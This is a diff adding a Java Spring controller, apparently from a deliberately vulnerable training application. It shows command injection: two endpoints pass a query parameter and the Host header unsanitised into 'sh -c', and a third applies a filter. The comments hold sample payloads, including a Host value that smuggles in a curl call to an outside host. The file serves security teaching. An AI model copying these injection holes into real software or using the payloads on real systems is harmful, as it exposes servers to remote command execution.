|
| 1 | +package org.joychou.controller; |
| 2 | + |
| 3 | +import org.joychou.security.SecurityUtil; |
| 4 | +import org.joychou.utils.Tools; |
| 5 | +import org.slf4j.Logger; |
| 6 | +import org.slf4j.LoggerFactory; |
| 7 | +import org.springframework.web.bind.annotation.GetMapping; |
| 8 | +import org.springframework.web.bind.annotation.RestController; |
| 9 | + |
| 10 | +import javax.servlet.http.HttpServletRequest; |
| 11 | +import java.io.IOException; |
| 12 | + |
| 13 | +@RestController |
| 14 | +public class CommandInject { |
| 15 | + |
| 16 | + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); |
| 17 | + |
| 18 | + /** |
| 19 | + * http://localhost:8080/codeinject?filepath=/tmp;pwd |
| 20 | + * |
| 21 | + * @param filepath filepath |
| 22 | + * @return result |
| 23 | + */ |
| 24 | + @GetMapping("/codeinject") |
| 25 | + public static String codeInject(String filepath) throws IOException { |
| 26 | + |
| 27 | + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; |
| 28 | + ProcessBuilder builder = new ProcessBuilder(cmdList); |
| 29 | + builder.redirectErrorStream(true); |
| 30 | + Process process = builder.start(); |
| 31 | + return Tools.convertStreamToString(process.getInputStream()); |
| 32 | + } |
| 33 | + |
| 34 | + /** |
| 35 | + * Host Injection |
| 36 | + * host: Host: hacked by joychou;curl ssrf.http.joychou.org |
| 37 | + * http://localhost:8080/codeinject/host |
| 38 | + * |
| 39 | + */ |
| 40 | + @GetMapping("/codeinject/host") |
| 41 | + public String codeInjectHost(HttpServletRequest request) throws IOException { |
| 42 | + |
| 43 | + String host = request.getHeader("host"); |
| 44 | + logger.info(host); |
| 45 | + String[] cmdList = new String[]{"sh", "-c", "curl " + host}; |
| 46 | + ProcessBuilder builder = new ProcessBuilder(cmdList); |
| 47 | + builder.redirectErrorStream(true); |
| 48 | + Process process = builder.start(); |
| 49 | + return Tools.convertStreamToString(process.getInputStream()); |
| 50 | + } |
| 51 | + |
| 52 | + @GetMapping("/codeinject/sec") |
| 53 | + public static String codeInjectSec(String filepath) throws IOException { |
| 54 | + String filterFilePath = SecurityUtil.cmdFilter(filepath); |
| 55 | + if (null == filterFilePath) { |
| 56 | + return "Bad boy. I got u."; |
| 57 | + } |
| 58 | + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; |
| 59 | + ProcessBuilder builder = new ProcessBuilder(cmdList); |
| 60 | + builder.redirectErrorStream(true); |
| 61 | + Process process = builder.start(); |
| 62 | + return Tools.convertStreamToString(process.getInputStream()); |
| 63 | + } |
| 64 | +} |
0 commit comments